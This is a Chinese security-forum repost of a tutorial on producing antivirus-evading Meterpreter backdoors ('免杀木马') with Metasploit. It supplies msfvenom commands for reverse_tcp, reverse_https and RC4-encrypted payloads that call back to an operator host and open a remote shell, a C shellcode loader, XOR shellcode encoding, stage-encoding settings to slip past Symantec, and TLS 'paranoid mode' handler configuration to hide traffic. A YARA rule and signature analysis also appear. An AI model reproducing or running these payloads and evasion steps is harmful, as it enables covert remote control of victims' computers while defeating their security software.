安全矩阵

 找回密码
 立即注册
搜索
查看: 2512|回复: 0

MSF+生成流量免杀木马

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-1-14 10:18:31 | 显示全部楼层 |阅读模式
原文链接:MSF+生成流量免杀木马

Meterpreter技巧生成后门msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f exe > /root/Desktop/Green_m.exe
这样可以生成一个使用tcp协议反向连接到192.168.1.200的4444端口的meterpreter的后门。
这样生成的exe可以运行,但是会被杀掉。
生成shellcode免杀手动编译meterpreter并对shellcode进行编码就能绕过静态查杀,meterpreter本身就是直接加载进内存并且有编码,绕过动态查杀基本没问题
  1. msfvenom -p windows/meterpreter/reverse_tcp

  2. -e x86/shikata_ga_nai -i 5 -b ‘\x00’

  3. lhost=192.168.1.200 lport=4444 -f c
复制代码


上述命令生成在之前的基础上生成基于c语言格式的shellcode,通过e参数指定编码方式,i参数指定编码次数,b参数去除指定代码,一般是空代码或者错误代码,-f指定生成格式。
  1. unsigned char buf[] =

  2. "shellcode is here";

  3. main()

  4. {

  5. ( (void(*)(void))&buf)();

  6. }
复制代码


这种方式vc++6.0能够成功编译
选择payload进行免杀上面生成shellcode的方式是针对杀软静态免杀的,接下来说到动态行为免杀。
在对市面上主流的杀软进行测试的过程中,发现symantec会在meterpreter回连成功,从metasploit里接受数据的时候报毒。
无论是自己手动编码编译还是msf自动生成的exe都会这样被报毒。
使用reverse_https等payload可以anti symantec。
  1. msfvenom -p windows/meterpreter/reverse_https

  2. lhost=192.168.1.200 lport=443 -f c
复制代码


但是需要在metasploit设置:
  1. set EnableStageEncoding true

  2. set stageencoder x86/fnstenv_mov

  3. set stageencodingfallback false
复制代码


将控制端向被控制端发送的stage进行编码,从而绕过symantec的查杀。
同样,使用reverse_tcp_rc4也有同样的效果,而且不用设置stageencoder选项,更稳定更方便。
  1. msfvenom -p windows/meterpreter/reverse_tcp_rc4

  2. lhost=192.168.1.200 lport=4444 RC4PASSWORD=Green-m

  3. -f c
复制代码


利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼皮地下执行meterpreter。
Meterpreter免杀及对抗分析静态检测与对抗静态分析原理
简单的来说,就是通过特征码识别静态文件,杀软会扫描存在磁盘上的镜像文件,如果满足特征码,就识别为恶意软件。
恶意软件匹配规则yara匹配恶意软件的时候就是用的这样的方式。通过特征来识别抓HASH工具QuarksPwDump,yara规则如下
  1. /*
  2.   This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license.

  3. */
  4. rule QuarksPwDump_Gen : Toolkit {
  5. meta:
  6. description = "Detects all QuarksPWDump versions"
  7. author = "Florian Roth"
  8. date = "2015-09-29"
  9. score = 80
  10. hash1 = "2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa"
  11. hash2 = "87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f"
  12. hash3 = "a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9"
  13. hash4 = "c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab"
  14. hash5 = "677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa"
  15. hash6 = "d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674"
  16. hash7 = "8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819"
  17. strings:
  18. $s1 = "OpenProcessToken() error: 0x%08X" fullword ascii
  19. $s2 = "%d dumped" fullword ascii
  20. $s3 = "AdjustTokenPrivileges() error: 0x%08X" fullword ascii
  21. $s4 = "\\SAM-%u.dmp" fullword ascii
  22. condition:
  23. all of them
  24. }
复制代码


可以看到匹配匹配
s2
s4全部四条规则及标记为识别。
当然还有通过md5、sha1来计算文件hash识别恶意软件,最简单粗暴而且有效,但是也很容易绕过,也有分段进行hash来识别相似度的方法,原理和上面的特征码识别都是一样的,这里不再赘述。
对抗静态分析
1.修改特征码 特征码的识别也有一些不同的方式,最开始是使用单个特征码来定位,就有了与之对抗的ccl,随着对抗技术的升级,就有了多条的特征码,对应的也就有了mutilccl, myccl, virtest,甚至现在github上的自动化特征码识别,技术越来越多样。
修改特征码最重要的是定位特征码,但是定位了特征码修改后并不代表程序就能正常运行,费时费力,由于各个杀软厂商的特征库不同,所以一般也只能对一类的杀软起效果。虽然效果不好,但有时候在没有源码的情况下可以一用。
虽然meterpreter对于我们来说是开源的,但是偶尔编译出来的文件修改一些小地方就能让杀软直接报废,也算是一个保留方法了。
2.加壳 加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,因为壳自己也有特征。在某些比较流氓的国产杀软的检测方式下,主流的壳如VMP, Themida等,一旦被检测到加壳直接弹框告诉你这玩意儿有问题,虽然很直接,但是还是挺有效的。有些情况下,有的常见版本的壳会被直接脱掉分析。
面对这种情况可以考虑用一切冷门的加密壳,有时间精力的可以基于开源的压缩壳改一些源码,效果可能会很不错。
总得来说,加壳的方式来免杀还是比较实用的,特别是对于不开源的PE文件,通过加壳可以绕过很多特征码识别。
3.shellcode 编译 msfvenom不仅提供多种格式的payload,其中就包括shellcode。shellcode对于源码免杀来说基本上是最好用的那种,绕过静态杀软的神器。
使用msfvenom选择encoder的时候大家一般都会选择shikata_ga_nai这个编码方式(因为x86的encoder里只有它的Rank是excellent),这个encoder的解码和编码过程都是随机生成的。
但是,这个编码内容是有特征的,经过shikata_ga_nai 编码之后的shellcode必定含有\xd9\x74\x24\xf4 这串16进制字符
当然不止是 shikata_ga_na 编码方式,其他的编码方式特征可能更加明显(x86/fnstenv_mov 的编码方式就被很多杀软能直接检测到,远不如 shikata_ga_na )。那么如果要对抗这样的情况,只能自己再将编码过后的shellcode进行编码或者加密。
这里写一个简单的xor作为demo供大家感受一下,代码如下:
  1. unsigned char shellcode[]=
  2. "\x33\xc9\xb1\xc6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe6";

  3. // the key to xor
  4. unsigned char key[]="\xcc\0xfa\0x1f\0x3d";

  5. // encode shellcode

  6.      for ( i=0; i<(sizeof(shellcode)-1) ; i=i+1)
  7.      {
  8.           shellcode[i]=shellcode[i]^key[i % sizeof(key)];
  9.      }

  10. // decoder
  11. void decode()
  12. {
  13. for (i=0; i<(sizeof(shellcode)-1); i+=1)
  14.      shellcode[i]=shellcode[i]^key[i%sizeof(key)];
  15. }

  16. void executeShellcode()
  17. {
  18.      decode();
  19.      // run shellcode
  20. }
复制代码


流量检测与对抗Meterpreter的传输加载要知道meterpreter的流量特征,首先要搞清楚meterpreter的传输方式。
metasploit的木马分为两个大类,staged 和stageless 。
staged类型的木马的运行流程为:
客户端在从服务器端接收stager后,stager由引导代码loader和payload组成,客户端在内存中分配一段地址将payload暂存起来,再通过loader来加载内存中的payload。这种内存中注入PE文件的方式称为反射型DLL注入。
stageless的则是将完整的payload都编译在木马中,相对与staged的木马来说,前者体积庞大不灵活,而且容易被杀。
我们以windows/meterpreter/reverse_tcp为例,下面是部分源码(完整源码)
  1. # Generate and compile the stager
  2. #
  3. def generate_reverse_tcp(opts={})
  4. combined_asm = %Q^
  5.     cld                    ; Clear the direction flag.
  6.     call start             ; Call start, this pushes the address of 'api_call' onto the stack.
  7.     #{asm_block_api}  ; To find some functions address such as VirutalAlloc()
  8.     start:
  9.     pop ebp
  10.     #{asm_reverse_tcp(opts)} ; Send and recvice socket connection
  11.     #{asm_block_recv(opts)} ; Do some stuff after recvied payload
  12. ^
  13. Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
  14. end
复制代码


asm_block_api部分是用来定义查询API调用地址的函数。
asm_reverse_tcp 部分是用来发送socket请求的。
asm_block_recv 部分是建立连接后,接收服务端发送的stager,再通过 VirtualAlloc() 分配RWX权限的内存,然后执行后续。
这部分建客户端发起连接的过程其实是没有什么特征的,特征主要是在服务端发送的stager,接下来让我们详细看看发送的stager里是什么。
为了让客户端运行服务端发送的meterpreter payload,需要先发送一个加载meterpreter_loader
这段代码主要作用是加载反射性注入的引导代码ReflectiveLoader,通过ReflectiveLoader来加载meterpreter及相关配置。
上面分析这段meterpreter_loader是固定的一段汇编代码,通过nasm将该部分汇编代码转化为机器码如下:
4d5ae8000000005b52455589e581c364130000ffd381c395a40200893b536a0450ffd0
该16进制字符串即为meterpreter的特征。
对抗流量检测既然流量是有特征的,那么有没有办法对流量进行加密呢,答案是肯定的,在某些环境下,我们需要用到meterpreter的偏执模式(paranoid mode)。
偏执模式在面对接受的请求很多的时候,可以有效过滤筛选回连的请求,只留下自己所需要的。
同时,因为其使用了SSL/TLS 认证,因此在应对流量监控和分析时,有很不错的效果,当然也能够Bypass av(by data stream)。
创建一个SSL/TLS证书
在kali或者其他带有openssl的环境下:
  1. [        DISCUZ_CODE_34        ]nbsp;openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
  2.     -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=green-m.github.io" \
  3.     -keyout green-m.github.io.key \
  4.     -out green-m.github.io.crt && \
  5. cat green-m.github.io.key  green-m.github.io.crt > green-m.github.io.pem && \
  6. rm -f green-m.github.io.key  green-m.github.io.crt
复制代码


你可以把green-m.github.io这个URL改成任意你想回连的地址,直接指定相应IP也可以。
如果能搞到一个受信任的证书颁发机构签名的SSL/TLS证书,那就流量直接畅通无阻。

生成偏执模式的payload
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=green-m.github.io LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=./green-m.github.io.pem StagerVerifySSLCert=true PayloadUUIDName=Green_m -f exe -o ./Green_m.exe
通过设置PayloadUUIDTracking和PayloadUUIDName可以在监听的时候过滤掉不需要的回连请求。为了Bypass av的需求,你还可以生成shellcode来自己编译。
如果网络环境不好,你还可以使用stageless的payload,-p参数指定windows/meterpreter_reverse_https,其他不用修改。
监听偏执模式
  1. msfconsole
  2. use exploit/multi/handler
  3. set PAYLOAD windows/meterpreter/reverse_winhttps
  4. set LHOST green-m.github.io
  5. set LPORT 443
  6. set HandlerSSLCert ./green-m.github.io.pem
  7. set IgnoreUnknownPayloads true
  8. set StagerVerifySSLCert true
  9. set exitonsession false
  10. run -j -z
复制代码


设置HandlerSSLCert和StagerVerifySSLCert参数来使用TLS pinning,IgnoreUnknownPayloads接受白名单的payload。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 14:47 , Processed in 0.018683 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表